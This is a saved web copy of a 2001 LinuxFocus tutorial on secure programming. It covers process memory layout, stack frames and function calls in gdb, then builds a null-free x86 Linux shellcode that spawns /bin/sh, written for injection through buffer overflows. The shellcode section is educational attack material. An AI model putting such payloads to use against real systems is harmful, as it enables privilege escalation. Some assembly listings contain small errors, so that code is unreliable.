From: Subject: Secure programming - Part 2 Date: Sun, 17 Jun 2001 11:06:45 +0900 MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_000_0007_01C0F71D.98C08540"; type="text/html" X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 This is a multi-part message in MIME format. ------=_NextPart_000_0007_01C0F71D.98C08540 Content-Type: text/html; charset="ks_c_5601-1987" Content-Transfer-Encoding: quoted-printable Content-Location: http://www.linuxfocus.org/English/March2001/article183.meta.shtml Secure programming - Part 2

Avoiding security holes when developing an application - Part 2: = memory,=20 stack and functions, shellcode

ArticleCategory:

Software Development=20

AuthorImage:

=20

TranslationInfo:

Original in fr Frédéric=20 Raynal, Christophe Blaess, Christophe Grenier

fr to en Georges=20 Tarbouriech

AboutTheAuthor:

Christophe Blaess is an independent aeronautics engineer. He is a = Linux fan=20 and does much of his work on this system. He coordinates the translation = of the=20 man pages as published by the Linux Documentation Project.

Christophe Grenier is a 5th year student at the ESIEA, where he works = as a=20 sysadmin too. He has a passion for computer security.

Frédéric Raynal has been using Linux for many years = because it doesn't=20 pollute, it doesn't use hormones, neither GMO nor animal fat-flour... = only sweat=20 and tricks.

Abstract

This series of articles tries to put the emphasis on the main = security holes=20 that can appear within applications. It shows ways to avoid those holes = by=20 changing development habits a little.

This article, focuses on memory organization and layout and explains = the=20 relationship between a function and memory. The last section shows how = to build=20 shellcode.

ArticleIllustration

=20

ArticleBody

Introduction

In our previous article we analyzed the simplest = security=20 holes, the ones based on external command execution. This article and = the next=20 one show a widespread type of attack, the buffer overflow. First we will = study=20 the memory structure of a running application, and then we'll write a = minimal=20 piece of code allowing to start a shell (shellcode).=20

Memory layout

What is a program?

Let's assume a program is an instruction set, expressed in machine = code=20 (regardless of the language used to write it) that we commonly call a=20 binary. When first compiled to get the binary file, the program = source=20 held variables, constants and instructions. This section presents the = memory=20 layout of the different parts of the binary.

The different areas

To understand what goes on while executing a binary, let's have a = look at the=20 memory organization. It relies on different areas :

This is generally not all, but we just focus on the parts that are = most=20 important for this article.

The command size -A file --radix 16 gives the = size of=20 each area reserved when compiling. From that you get their memory = addresses (you=20 can also use the command objdump to get this information). = Here the=20 output of size for a binary called "fct":

>>size -A fct =
--radix 16
fct  :
section            size        addr
.interp            0x13   0x80480f4
.note.ABI-tag      0x20   0x8048108
.hash              0x30   0x8048128
.dynsym            0x70   0x8048158
.dynstr            0x7a   0x80481c8
.gnu.version        0xe   0x8048242
.gnu.version_r     0x20   0x8048250
.rel.got            0x8   0x8048270
.rel.plt           0x20   0x8048278
.init              0x2f   0x8048298
.plt               0x50   0x80482c8
.text             0x12c   0x8048320
.fini              0x1a   0x804844c
.rodata            0x14   0x8048468
.data               0xc   0x804947c
.eh_frame           0x4   0x8049488
.ctors              0x8   0x804948c
.dtors              0x8   0x8049494
.got               0x20   0x804949c
.dynamic           0xa0   0x80494bc
.bss               0x18   0x804955c
.stab             0x978         0x0
.stabstr         0x13f6         0x0
.comment          0x16e         0x0
.note              0x78   0x8049574
Total            0x23c8
=20

The text area holds the program instructions. This area = is=20 read-only. It's shared between every process running the same binary. = Attempting=20 to write into this area causes a segmentation violation = error.

Before explaining the other areas, let's recall a few things about = variables=20 in C. The global variables are used in the whole program while = the=20 local variables are only used within the function where they = are=20 declared. The static variables have a known size depending on = their=20 type when they are declared. Types can be char, = int,=20 double, pointers, etc. On a PC type machine, a pointer = represents a=20 32bit integer address within memory. The size of the area pointed to is=20 obviously unknown during compilation. A dynamic variable = represents an=20 explicitly allocated memory area - it is really a pointer pointing to = that=20 allocated address. global/local, static/dynamic variables can be = combined=20 without problems.

Let's go back to the memory organization for a given process. The=20 data area stores the initialized global static data (the = value is=20 provided at compile time), while the bss segment holds the=20 uninitialized global data. These areas are reserved at compile time = since their=20 size is defined according to the objects they hold.

What about local and dynamic variables? They are grouped in a memory = area=20 reserved for program execution (user stack frame). Since = functions can=20 be invoked recursively, the number of instances of a local variable is = not known=20 in advance. When creating them, they will be put in the stack. = This=20 stack is on top of the highest addresses within the user address space, = and=20 works according to a LIFO model (Last In, First Out). The = bottom of the=20 user frame area is used for dynamic variables allocation. This = area is=20 called heap : it contains the memory areas addressed by = pointers and=20 the dynamic variables. When declared, a pointer is a 32bit variable = either in=20 BSS or in the stack and does not point to any valid address. When a = process=20 allocates memory (i.e. using malloc) the address of the first = byte of=20 that memory (also 32bit number) is put into the pointer.

Detailed example

The following example illustrates the variable layout in memory :

/* mem.c */

  int    index =3D 1;   //in data
  char * str;         //in bss
  int    nothing;     //in bss

void f(char c)=20
{
  int i;              //in the stack
  /* Reserves 5 characters in the heap */
  str =3D (char*) malloc (5 * sizeof (char));
  strncpy(str, "abcde", 5);
}

int main (void)
{
  f(0);
}
=20

The gdb debugger confirms all this.

>>gdb mem
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions.  Type "show copying"
to see the conditions.  There is absolutely no warranty
for GDB.  Type "show warranty" for details.  This GDB was
configured as "i386-redhat-linux"...
(gdb)
=20

Let's put a breakpoint in the f() function and run the = program=20 untill this point :

(gdb) list
7      void f(char c)
8      {
9         int i;
10        str =3D (char*) malloc (5 * sizeof (char));
11        strncpy (str, "abcde", 5);
12     }
13
14     int main (void)
(gdb) break 12
Breakpoint 1 at 0x804842a: file mem.c, line 12.
(gdb) run
Starting program: mem

Breakpoint 1, f (c=3D0 '\000') at mem.c:12
12      }
=20

We now can see the place of the different variables.

1. (gdb) print &index
$1 =3D (int *) 0x80494a4
2. (gdb) info symbol 0x80494a4
index in section .data
3. (gdb)  print &nothing
$2 =3D (int *) 0x8049598
4. (gdb) info symbol 0x8049598
nothing in section .bss
5. (gdb) print str
$3 =3D 0x80495a8 "abcde"
6. (gdb) info symbol 0x80495a8
No symbol matches 0x80495a8.
7. (gdb) print &str
$4 =3D (char **) 0x804959c
8. (gdb) info symbol 0x804959c
str in section .bss
9. (gdb) x 0x804959c
0x804959c <str>:     0x080495a8
10. (gdb) x/2x 0x080495a8
0x80495a8: 0x64636261      0x00000065
=20

The command in 1 (print &index) shows the memory = address for=20 the index global variable. The second instruction=20 (info) gives the symbol associated to this address and the = place in=20 memory where it can be found : index, an initialized global = static=20 variable is stored in the data area.

Instructions 3 and 4 confirm that the uninitialized static variable=20 nothing can be found in the BSS segment.

Line 5 displays str ... in fact the str = variable=20 content, that is the address 0x80495a8. The instruction 6 = shows=20 that no variable has been defined at this address. Command 7 allows you = to get=20 the str variable address and command 8 indicates it can be = found in=20 the BSS segment.

At 9, the 4 bytes displayed correspond to the memory content at = address=20 0x804959c : it's a reserved address within the heap. The = content at=20 10 shows our string "abcde" :

hexadecimal value : 0x64 63 62 61      0x00000065
character         :    d  c  b  a               e
=20

The local variables c and i are put in the=20 stack.

We notice that the size returned by the size command for = the=20 different areas does not match what we expected when looking at our = program. The=20 reason is that various other variables declared in libraries appear when = running=20 the program (type info variables under gdb to = get them=20 all).

The stack and the heap

Each time a function is called, a new environment must be created = within=20 memory for local variables and the function's parameters (here=20 environment means all elements appearing while executing a = function :=20 its arguments, its local variables, its return address in the execution = stack...=20 this is not the environment for shell variables we mentioned in the = previous=20 article). The %esp (extended stack pointer) = register holds=20 the top stack address, which is at the bottom in our representation, but = we'll=20 keep calling it top to complete analogy to a stack of real = objects, and=20 points to the last element added to the stack; dependent on the = architecture,=20 this register may sometimes point to the first free space in the = stack.

The address of a local variable within the stack could be expressed = as an=20 offset relative to %esp. However, items are always added or = removed=20 to/from the stack, the offset of each variable would then need = readjustment and=20 that is very ineffecient. The use of a second register allows to improve = that :=20 %ebp (extended base pointer) holds the start address of the = environment of the current function. Thus, it's enough to express the=20 offset related to this register. It stays constant while the = function=20 is executed. Now it is easy to find the parameters or the local = variables within=20 a function.

The stack's basic unit is the word : on i386 CPUs it's = 32bit,=20 that is 4 bytes. This is different for other architectures. On Alpha = CPUs a word=20 is 64 bits. The stack only manages words, that means every allocated = variable=20 uses the same word size. We'll see that with more details in the = description of=20 a function prolog. The display of the str variable content = using=20 gdb in the previous example illustrates it. The = gdb=20 x command displays a whole 32bit word (read it from left to = right=20 since it's a little endian representation).

The stack is usually manipulated with just 2 cpu instructions :

push value : this instruction puts the value at = the top=20 of the stack. It reduces %esp by a word to get the = address of the=20 next word available in the stack, and stores the value = given as=20 an argument in that word;=20
pop dest : puts the item from the top of the = stack into=20 the 'dest'. It puts the value held at the address pointed to by=20 %esp in dest and increases the = %esp=20 register. To be precise nothing is removed from the stack. Just the = pointer to=20 the top of the stack changes.

The registers

What exactly are the registers? You can see them as drawers holding = only one=20 word, while memory is made of a series of words. Each time a new value = is put in=20 a register, the old value is lost. Registers allow direct communication = between=20 memory and CPU.

The first 'e' appearing in the registers name means=20 "extended" and indicates the evolution between old 16bit and = present=20 32bit architectures.

The registers can be divided into 4 categories :

general registers : %eax, %ebx,=20 %ecx and %edx are used to manipulate data;=20
segment registers : 16bit %cs, %ds,=20 %esx and %ss, hold the first part of a = memory=20 address;=20
offset registers : they indicate an offset related to segment = registers :=20
- %eip (Extended Instruction Pointer) : = indicates=20 the address of the next instruction to be executed;=20
- %ebp (Extended Base Pointer) : indicates = the=20 beginning of the local environment for a function;=20
- %esi (Extended Source Index) : holds the = data=20 source offset in an operation using a memory block;=20
- %edi (Extended Destination Index) : holds = the=20 destination data offset in an operation using a memory block;=20
- %esp (Extended Stack Pointer) : the top of = the=20 stack;
special registers : they are only used by the CPU.

Note: = everything said here about registers is very x86 oriented but alpha, = sparc, etc=20 have registers with different names but similar functionality.=20

The functions

Introduction

This section presents the behavior of a program = from call=20 to finish. Along this section we'll use the following example :=20

/* fct.c */

void toto(int i, int j)
{
  char str[5] =3D "abcde";
  int k =3D 3;
  j =3D 0;
  return;
}

int main(int argc, char **argv)
{
  int i =3D 1;
  toto(1, 2);
  i =3D 0;
  printf("i=3D%d\n",i);
}

The purpose of this section is to explain the behavior of the above = functions=20 regarding the stack and the registers. Some attacks try to change the = way a=20 program runs. To understand them, it's useful to know what normally = happens.

Running a function is divided into three steps :

the prolog : when entering a function, you already = prepare the=20 way out of it, saving the stack's state before entering the function = and=20 reserving the needed memory to run it;=20
the function call : when a function is called, its = parameters are=20 put into the stack and the instruction pointer (IP) is saved to allow = the=20 instruction execution to continue from the right place after the = function;=20
the function return : to put things back as they were = before=20 calling the function.

The prolog

A function always starts with the instructions :=20

push   %ebp
mov    %esp,%ebp
push   $0xc,%esp       //$0xc depends on each program=20

These three instructions make what is called the prolog. The = diagram=20 1 details the way the toto() function prolog works = explaining=20 the %ebp and %esp registers parts :

Diag. 1 : prolog of a function
	Initially, `%ebp` points in the memory to any X = address.=20 `%esp` is lower in the stack, at Y address and points = to the=20 last stack entry. When entering a function, you must save the = beginning of=20 the "current environment", that is `%ebp`. Since=20 `%ebp` is put into the stack, `%esp` = decreases by a=20 memory word.
	This second instruction allows building a new "environment" for = the=20 function, putting `%ebp` on the top of the stack.=20 `%ebp` and `%esp` then pointing to the same = memory=20 word which holds the previous environment address.
	Now the stack space for local variables has to be reserved. The=20 character array is defined with 5 items and needs 5 bytes (a=20 `char` is one byte). However the stack only manages=20 words, and can only reserve multiples of a word = (1=20 word, 2 words, 3 words, ...). To store = 5 bytes=20 in the case of a 4 bytes word, you must use 8 bytes (that = is 2=20 words). The grayed part could be used, even if it is not = really=20 part of the string. The `k` integer uses 4 bytes. This = space is=20 reserved by decreasing the value of `%esp` by = `0xc`=20 (12 in hexadecimal). The local variables use 8+4=3D12 bytes (i.e. = 3=20 words).

Apart from the mechanism itself, the important thing to remember here = is the=20 local variables position : the local variables = have a=20 negative offset when related to %ebp. The=20 i=3D0 instruction in the main() function = illustrates=20 this. The assembly code (cf. below) uses indirect addressing to access = the=20 i variable :

0x8048411 <main+25>:    =
movl   $0x0,0xfffffffc(%ebp)

The 0xfffffffc hexadecimal represents the = -4=20 integer. The notation means put the value 0 into the = variable found=20 at "-4 bytes" relatively to the %ebp register. = i is=20 the first and only local variable in the main() function, = therefore=20 its address is 4 bytes (i.e. integer size) "below" the %ebp = register.

The call

Just like the prolog of a function prepares its environment, the = function=20 call allows this function to receive its arguments, and once terminated, = to=20 return to the calling function.

As an example, let's take the toto(1, 2); call.

Diag. 2 : Function call
	Before calling a function, the arguments it needs are stored in = the=20 stack. In our example, the two constant integers 1 and 2 are first = stacked, beginning with the last one. The `%eip` = register holds=20 the address of the next instruction to execute, in this case the = function=20 call.
	When executing the `call` instruction, = `%eip`=20 takes the address value of the following instruction found 5 bytes = after=20 (`call` is a 5 byte instruction - every instruction = doesn't use=20 the same space depending on the CPU). The `call` then = saves the=20 address contained in `%eip` to be able to go back to = the=20 execution after running the function. This "backup" is done from = an=20 implicit instruction putting the register in the stack : = push %eip =20 The value given as an argument to `call` corresponds to = the address of the first prolog instruction from the = `toto()`=20 function. This address is then copied to `%eip`, thus = it=20 becomes the next instruction to = execute.

Once we are in the function body, its arguments = and the=20 return address have a positive offset when related to=20 %ebp, since the next instruction puts this register = to the=20 top of the stack. The j=3D0 instruction in the = toto()=20 function illustrates this. The Assembly code again uses indirect = addressing to=20 access the j :

0x80483ed <toto+29>:    =
movl   $0x0,0xc(%ebp)

The 0xc hexadecimal represents the +12 = integer.=20 The notation used means put the value 0 in the variable = found at=20 "+12 bytes" relatively to the %ebp register. j = is the=20 function's second argument and it's found at 12 bytes "on top" of the=20 %ebp register (4 for instruction pointer backup, 4 for the = first=20 argument and 4 for the second argument - cf. the first diagram in the = return=20 section)

The return

Leaving a function is done in two steps. First, the environment = created for=20 the function must be cleaned up (i.e. putting %ebp and=20 %eip back as they were before the call). Once this done, we = must=20 check the stack to get the information related to the function we are = just=20 coming out off.

The first step is done within the function with the instructions = :

leave
ret

The next one is done within the function where the call took place = and=20 consists of cleaning up the stack from the arguments of the called = function.

We carry on with the previous example of the toto()=20 function.

Diag. 3 : Function return
	Here we describe the initial situation before the call and the = prolog.=20 Before the call, `%ebp` was at address `X` = and=20 `%esp` at address `Y` . >From there we = stacked=20 the function arguments, saved `%eip` and = `%ebp` and=20 reserved some space for our local variables. The next executed = instruction=20 will be `leave`.
	The instruction `leave` is equivalent to the sequence = :=20 mov ebp esp pop ebp =20 The first one takes `%esp` and=20 `%ebp` back to the same place in the stack. The second = one puts=20 the top of the stack in the `%ebp` register. In only = one=20 instruction (`leave`), the stack is like it would have = been=20 without the prolog.
	The `ret` instruction restores `%eip` in = such a=20 way the calling function execution starts back where it should, = that is=20 after the function we are leaving. For this, it's enough to = unstack the=20 top of the stack in `%eip`.=20 We are not yet back to the initial situation since the function = arguments are still stacked. Removing them will be the next = instruction,=20 represented with its `Z+5` address in `%eip` = (notice=20 the instruction addressing is increasing as opposed to what's = happening on=20 the stack).
	The stacking of parameters is done in the calling function, so = is it=20 for unstacking. This is illustrated in the opposite diagram with = the=20 separator between the instructions in the called function and the=20 `add 0x8, %esp` in the calling function. This = instruction takes=20 `%esp` back to the top of the stack, as many bytes as = the=20 `toto()` function parameters used. The = `%ebp` and=20 `%esp` registers are now in the situation they were = before the=20 call. On the other hand, the `%eip` instruction = register moved=20 up.

Disassembling

gdb allows to get the Assembly code corresponding to the main() and = toto()=20 functions :

>>gcc -g -o fct fct.c
>>gdb fct
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.  GDB is free
software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of
it under certain conditions.  Type "show copying" to see
the conditions.  There is absolutely no warranty for GDB.
Type "show warranty" for details.  This GDB was configured
as "i386-redhat-linux"...
(gdb) disassemble main                    //main
Dump of assembler code for function main:

0x80483f8 <main>:    push   %ebp //prolog
0x80483f9 <main+1>:  mov    %esp,%ebp
0x80483fb <main+3>:  sub    $0x4,%esp

0x80483fe <main+6>:  movl   $0x1,0xfffffffc(%ebp)

0x8048405 <main+13>: push   $0x2 //call
0x8048407 <main+15>: push   $0x1
0x8048409 <main+17>: call   0x80483d0 <toto>


0x804840e <main+22>: add    $0x8,%esp //return from toto()

0x8048411 <main+25>: movl   $0x0,0xfffffffc(%ebp)
0x8048418 <main+32>: mov    0xfffffffc(%ebp),%eax

0x804841b <main+35>: push   %eax     //call
0x804841c <main+36>: push   $0x8048486
0x8048421 <main+41>: call   0x8048308 <printf>


0x8048426 <main+46>: add    $0x8,%esp //return from =
printf()
0x8048429 <main+49>: leave            //return from main()
0x804842a <main+50>: ret   =20

End of assembler dump.
(gdb) disassemble toto                    //toto
Dump of assembler code for function toto:

0x80483d0 <toto>:     push   %ebp   //prolog
0x80483d1 <toto+1>:   mov    %esp,%ebp
0x80483d3 <toto+3>:   sub    $0xc,%esp

0x80483d6 <toto+6>:   mov    0x8048480,%eax
0x80483db <toto+11>:  mov    %eax,0xfffffff8(%ebp)
0x80483de <toto+14>:  mov    0x8048484,%al
0x80483e3 <toto+19>:  mov    %al,0xfffffffc(%ebp)
0x80483e6 <toto+22>:  movl   $0x3,0xfffffff4(%ebp)
0x80483ed <toto+29>:  movl   $0x0,0xc(%ebp)
0x80483f4 <toto+36>:  jmp    0x80483f6 <toto+38>

0x80483f6 <toto+38>:  leave         //return from toto()
0x80483f7 <toto+39>:  ret

End of assembler dump.

The instructions without color correspond to our = program=20 instructions, such as assignment for instance.=20

Creating a shellcode

In some cases, it's possible to act on the process stack content, by=20 overwriting the return address of a function and making the application = execute=20 some arbitrary code. This is especially interesting for a cracker if the = application runs under an ID different from the user's one (Set-UID = program or=20 daemon). This type of mistake is particularly dangerous if an = application like a=20 document reader is started by another user. The famous Acrobat Reader = bug, where=20 a modified document was able to start a buffer overflow. It also works = for=20 network services (ie : imap).

In future articles, we'll talk about mechanisms used to execute = instructions.=20 Here we start studying the code itself, the one we want to be executed = from the=20 main application. The simplest solution is to have a piece of code to = run a=20 shell. The reader can then perform other actions such as changing the=20 /etc/passwd file permission. For reasons which will be = obvious=20 later, this program must be done in Assembly language. This type of = small=20 program which is used to run a shell is usually called = shellcode.

The examples mentioned are inspired from Aleph One's article = "Smashing=20 the Stack for Fun and Profit" from the Phrack magazine number = 49.

With C language

The goal of a shellcode is to run a shell. The following C program = does this=20 :

/* shellcode1.c */

    #include <stdio.h>
    #include <unistd.h>

int main()
{
  char * name[] =3D {"/bin/sh", NULL};
  execve(name[0], name, NULL);
  return (0);
}

Among the set of functions able to call a shell, many reasons = recommend the=20 use of execve(). First, it's a true system-call, unlike the = other=20 functions from the exec() family, which are in fact GlibC = library=20 functions built from execve(). A system-call is done from = an=20 interrupt. It suffices to define the registers and their content to get = an=20 effective and short Assembly code.

Moreover, if execve() succeeds, the calling program = (here the=20 main application) is replaced with the executable code of the new = program and=20 starts. When the execve() call fails, the program execution = goes=20 on. In our example, the code is inserted in the middle of the attacked=20 application. Going on with execution would be meaningless and could even = be=20 disastrous. The execution then must end as quickly as possible. A = return=20 (0) allows exiting a program only when this instruction is called = from=20 the main() function, this is is unlikely here. We then must = force=20 termination through the exit() function.

/* =
shellcode2.c */

    #include <stdio.h>
    #include <unistd.h>

int main()
{
  char * name [] =3D {"/bin/sh", NULL};
  execve (name [0], name, NULL);
  exit (0);
}

In fact, exit() is another library function that wraps = the real=20 system-call _exit(). A new change brings us closer to the = system=20 :

/* shellcode3.c */
    #include <unistd.h>
    #include <stdio.h>

int main()
{
  char * name [] =3D {"/bin/sh", NULL};
  execve (name [0], name, NULL);
  _exit(0);
}

Now, it's time to compare our program to its Assembly equivalent.=20

Assembly calls

We'll use gcc and gdb = to get=20 the Assembly instructions corresponding to our small program. Let's = compile=20 shellcode3.c with the debugging option (-g) = and=20 integrate the functions normally found in shared libraries into the = program=20 itself with the --static option. Now, we have the needed=20 information to understand the way _exexve() and=20 _exit() system-calls work.

$ gcc -o shellcode3 =
shellcode3.c -O2 -g --static

Next, with gdb, we look for our functions Assembly=20 equivalent. This is for Linux on Intel platform (i386 and up).

$ =
gdb shellcode3
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions.  Type "show copying"
to see the conditions.  There is absolutely no warranty
for GDB.  Type "show warranty" for details.  This GDB was
configured as "i386-redhat-linux"...

We ask gdb to list the Assembly code, more = particularly its=20 main() function.

(gdb) disassemble main
Dump of assembler code for function main:
0x8048168 <main>:       push   %ebp
0x8048169 <main+1>:     mov    %esp,%ebp
0x804816b <main+3>:     sub    $0x8,%esp
0x804816e <main+6>:     movl   $0x0,0xfffffff8(%ebp)
0x8048175 <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x804817c <main+20>:    mov    $0x8071ea8,%edx
0x8048181 <main+25>:    mov    %edx,0xfffffff8(%ebp)
0x8048184 <main+28>:    push   $0x0
0x8048186 <main+30>:    lea    0xfffffff8(%ebp),%eax
0x8048189 <main+33>:    push   %eax
0x804818a <main+34>:    push   %edx
0x804818b <main+35>:    call   0x804d9ac <__execve>
0x8048190 <main+40>:    push   $0x0
0x8048192 <main+42>:    call   0x804d990 <_exit>
0x8048197 <main+47>:    nop   =20
End of assembler dump.
(gdb)

The calls to functions at addresses 0x804818b and=20 0x8048192 invoke the C library subroutines holding the real = system-calls. Notice the=20 0x804817c : mov $0x8071ea8,%edx instruction = fills=20 the %edx register with a value looking like an address. = Let's=20 examine the memory content from this address, displaying it as a string = :

(gdb) printf "%s\n", 0x8071ea8
/bin/sh
(gdb)

Now we know where the string is. Let's have a look at the=20 execve() and _exit() functions disassembling = list :

(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x804d9ac <__execve>:    push   %ebp
0x804d9ad <__execve+1>:  mov    %esp,%ebp
0x804d9af <__execve+3>:  push   %edi
0x804d9b0 <__execve+4>:  push   %ebx
0x804d9b1 <__execve+5>:  mov    0x8(%ebp),%edi
0x804d9b4 <__execve+8>:  mov    $0x0,%eax
0x804d9b9 <__execve+13>: test   %eax,%eax
0x804d9bb <__execve+15>: je     0x804d9c2 <__execve+22>
0x804d9bd <__execve+17>: call   0x0
0x804d9c2 <__execve+22>: mov    0xc(%ebp),%ecx
0x804d9c5 <__execve+25>: mov    0x10(%ebp),%edx
0x804d9c8 <__execve+28>: push   %ebx
0x804d9c9 <__execve+29>: mov    %edi,%ebx
0x804d9cb <__execve+31>: mov    $0xb,%eax
0x804d9d0 <__execve+36>: int    $0x80
0x804d9d2 <__execve+38>: pop    %ebx
0x804d9d3 <__execve+39>: mov    %eax,%ebx
0x804d9d5 <__execve+41>: cmp    $0xfffff000,%ebx
0x804d9db <__execve+47>: jbe    0x804d9eb <__execve+63>
0x804d9dd <__execve+49>: call   0x8048c84 <__errno_location>
0x804d9e2 <__execve+54>: neg    %ebx
0x804d9e4 <__execve+56>: mov    %ebx,(%eax)
0x804d9e6 <__execve+58>: mov    $0xffffffff,%ebx
0x804d9eb <__execve+63>: mov    %ebx,%eax
0x804d9ed <__execve+65>: lea    0xfffffff8(%ebp),%esp
0x804d9f0 <__execve+68>: pop    %ebx
0x804d9f1 <__execve+69>: pop    %edi
0x804d9f2 <__execve+70>: leave =20
0x804d9f3 <__execve+71>: ret   =20
End of assembler dump.
(gdb) disassemble _exit  =20
Dump of assembler code for function _exit:
0x804d990 <_exit>:      mov    %ebx,%edx
0x804d992 <_exit+2>:    mov    0x4(%esp,1),%ebx
0x804d996 <_exit+6>:    mov    $0x1,%eax
0x804d99b <_exit+11>:   int    $0x80
0x804d99d <_exit+13>:   mov    %edx,%ebx
0x804d99f <_exit+15>:   cmp    $0xfffff001,%eax
0x804d9a4 <_exit+20>:   jae    0x804dd90 <__syscall_error>
End of assembler dump.
(gdb) quit

The real kernel call is done through the 0x80 = interrupt, at=20 address 0x804d9d0 for execve() and at=20 0x804d99b for _exit(). This entry point is = common to=20 various system-calls, so the distinction is made with the = %eax=20 register content. Concerning execve(), it has the = 0x0B=20 value, while _exit() has the 0x01.=20

Diag. 4 : parameters of the `execve()`=20 function
=20

The analysis of these function's Assembly instructions provides us = with the=20 parameters they use :

execve() needs various parameters (cf. diag
4) :=20
- the %ebx register holds the string address = representing the=20 command to execute, "/bin/sh" in our example=20 (0x804d9b1 : mov 0x8(%ebp),%edi followed = by=20 0x804d9c9 : mov %edi,%ebx) ;=20
- the %ecx register holds the address of the argument = array=20 (0x804d9c2 : mov 0xc(%ebp),%ecx). The = first=20 argument must be the program name and we need nothing else : an = array=20 holding the string address "/bin/sh" and a NULL pointer = will be=20 enough;=20
- the %edx register holds the array address = representing the=20 program to launch the environment=20 (0x804d9c5 : mov 0x10(%ebp),%edx). To = keep our=20 program simple, we'll use an empty environment : that is a NULL = pointer will=20 do the trick.
the _exit() function ends the process, and returns an = execution code to its father (usually a shell), held in the = %ebx=20 register ;

We then need the "/bin/sh" string, a pointer to this = string and=20 a NULL pointer (for the arguments since we have none and for the = environment=20 since we don't define any). We can see a possible data representation = before the=20 execve() call. Building an array with a pointer to the=20 /bin/sh string followed by a NULL pointer, = %ebx will=20 point to the string, %ecx to the whole array, and = %edx=20 to the second item of the array (NULL). This is shown in diag. 5.

Diag. 5 : data representation relative to = registers

Locating the shellcode within memory

The shellcode is usually inserted into a vulnerable program through a = command=20 line argument, an environment variable or a typed string. Anyway, when = creating=20 the shellcode, we don't know the address it will use. Nevertheless, we = must know=20 the "/bin/sh" string address. A small trick allows us to = get=20 it.

When calling a subroutine with the call instruction, the = CPU=20 stores the return address in the stack, that is the address immediately=20 following this call instruction (see above). Usually, the = next step=20 is to store the stack state (especially the %ebp register = with the=20 push %ebp instruction). To get the return address when = entering the=20 subroutine, it's enough to unstack with the pop = instruction. Of=20 course, we then store our "/bin/sh" string immediately = after the=20 call instruction to allow our "home made prolog" to provide = us with=20 the required string address. That is :

 beginning_of_shellcode:
    jmp subroutine_call
       =20
 subroutine:
    popl %esi
    ...
    (Shellcode itself)
    ...=20
 subroutine_call:
    call subroutine
    /bin/sh

Of course, the subroutine is not a real one: either the = execve()=20 call succeeds, and the process is replaced with a shell, or it fails and = the=20 _exit() function ends the program. The %esi = register=20 gives us the "/bin/sh" string address. Then, it's enough to = build=20 the array putting it just after the string : its first item (at=20 %esi+8, /bin/sh length + a null byte) holds = the value=20 of the %esi register, and its second at = %esi+12 a null=20 address (32 bit). The code will look like :

    popl %esi
    movl %esi, 0x8(%esi)
    movl $0x00, 0xc(%esi)

The diagram 6=20 shows the data area :

Diag. 6 : data array

The null bytes problem

Vulnerable functions are often string manipulation routines such as=20 strcpy(). To insert the code into the middle of the target=20 application, the shellcode has to be copied as a string. However, these = copy=20 routines stop as soon as they find a null character. Then, our code must = not=20 have any. Using a few tricks will prevent us from writing null bytes. = For=20 example, the instruction

    movl $0x00, 0x0c(%esi)
=20

will be replaced with

    xorl %eax, %eax
    movl %eax, %0x0c(%esi)
=20

This example shows the use of a null byte. However, the = translation of=20 some instructions to hexadecimal can reveal some. For example, to make = the=20 distinction between the _exit(0) system-call and others, = the=20 %eax register value is 1, as seen in the =

0x804d996=20
<_exit+6>: mov $0x1,%eax

Converted to hexadecimal, this = string=20 becomes :

 b8 01 00 00 00          mov    $0x1,%eax

You must then avoid its use. In fact, the trick is to initialize=20 %eax with a register value of 0 and increment it.=20

On the other hand, the "/bin/sh" string must end with a = null=20 byte. We can write one while creating the shellcode, but, depending on = the=20 mechanism used to insert it into a program, this null byte may not be = present in=20 the final application. It's better to add one this way :

    /* =
movb only works on one byte */
    /* this instruction is equivalent to */
    /* movb %al, 0x07(%esi) */
    movb %eax, 0x07(%esi)
=20

Building the shellcode

We now have everything to create our shellcode :

/* =
shellcode4.c */

int main()
{
  asm("jmp subroutine_call

subroutine:
    /* Getting /bin/sh address*/
        popl %esi
    /* Writing it as first item in the array */
        movl %esi,0x8(%esi)
    /* Writing NULL as second item in the array */
        xorl %eax,%eax
        movl %eax,0xc(%esi)
    /* Putting the null byte at the end of the string */
        movb %eax,0x7(%esi)
    /* execve() function */
        movb $0xb,%al
    /* String to execute in %ebx */
        movl %esi, %ebx
    /* Array arguments in %ecx */
        leal 0x8(%esi),%ecx
    /* Array environment in %edx */
        leal 0xc(%esi),%edx
    /* System-call */
        int  $0x80

    /* Null return code */
        xorl %ebx,%ebx
    /*  _exit() function : %eax =3D 1 */
        movl %ebx,%eax
        inc  %eax
    /* System-call */
        int  $0x80

subroutine_call:
        subroutine_call
        .string \"/bin/sh\"
      ");
}=20

The code is compiled with "gcc -o shellcode4 = shellcode4.c". The=20 command "objdump --disassemble shellcode4" ensures that our = binary=20 doesn't hold anymore null bytes :

08048398 <main>:
 8048398:   55                      pushl  %ebp
 8048399:   89 e5                   movl   %esp,%ebp
 804839b:   eb 1f                   jmp    80483bc =
<subroutine_call>

0804839d <subroutine>:
 804839d:   5e                      popl   %esi
 804839e:   89 76 08                movl   %esi,0x8(%esi)
 80483a1:   31 c0                   xorl   %eax,%eax
 80483a3:   89 46 0c                movb   %eax,0xc(%esi)
 80483a6:   88 46 07                movb   %al,0x7(%esi)
 80483a9:   b0 0b                   movb   $0xb,%al
 80483ab:   89 f3                   movl   %esi,%ebx
 80483ad:   8d 4e 08                leal   0x8(%esi),%ecx
 80483b0:   8d 56 0c                leal   0xc(%esi),%edx
 80483b3:   cd 80                   int    $0x80
 80483b5:   31 db                   xorl   %ebx,%ebx
 80483b7:   89 d8                   movl   %ebx,%eax
 80483b9:   40                      incl   %eax
 80483ba:   cd 80                   int    $0x80

080483bc <subroutine_call>:
 80483bc:   e8 dc ff ff ff          call   804839d <subroutine>
 80483c1:   2f                      das   =20
 80483c2:   62 69 6e                boundl 0x6e(%ecx),%ebp
 80483c5:   2f                      das   =20
 80483c6:   73 68                   jae    8048430 =
<_IO_stdin_used+0x14>
 80483c8:   00 c9                   addb   %cl,%cl
